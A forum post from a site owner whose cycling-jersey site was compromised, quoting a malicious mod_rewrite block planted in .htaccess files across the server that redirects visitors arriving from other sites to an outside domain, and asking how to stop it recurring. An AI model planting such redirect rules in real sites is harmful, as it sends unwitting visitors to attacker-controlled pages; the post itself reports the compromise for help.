My site hacked: suspicious additions to .htaccess file

[andy.storey]

hi all

My website
http://cycling-jersey-collection.com/

stopped working overnight, and after looking at at the files on the server there was .htaccess files in every directory.

Here's some of the code that was in the .htaccess files
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+) RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/
$ [NC] RewriteRule ^.*$ http://medlab-pdm.de/mchd.html?h=1393979 [L,R] </IfModule>

I have now removed them all, and have re-uploaded my "proper" .htaccess file too.

Has anybody else encountered this and do anyof you have any suggestions to stop it happening again.

Many thanks

Andy
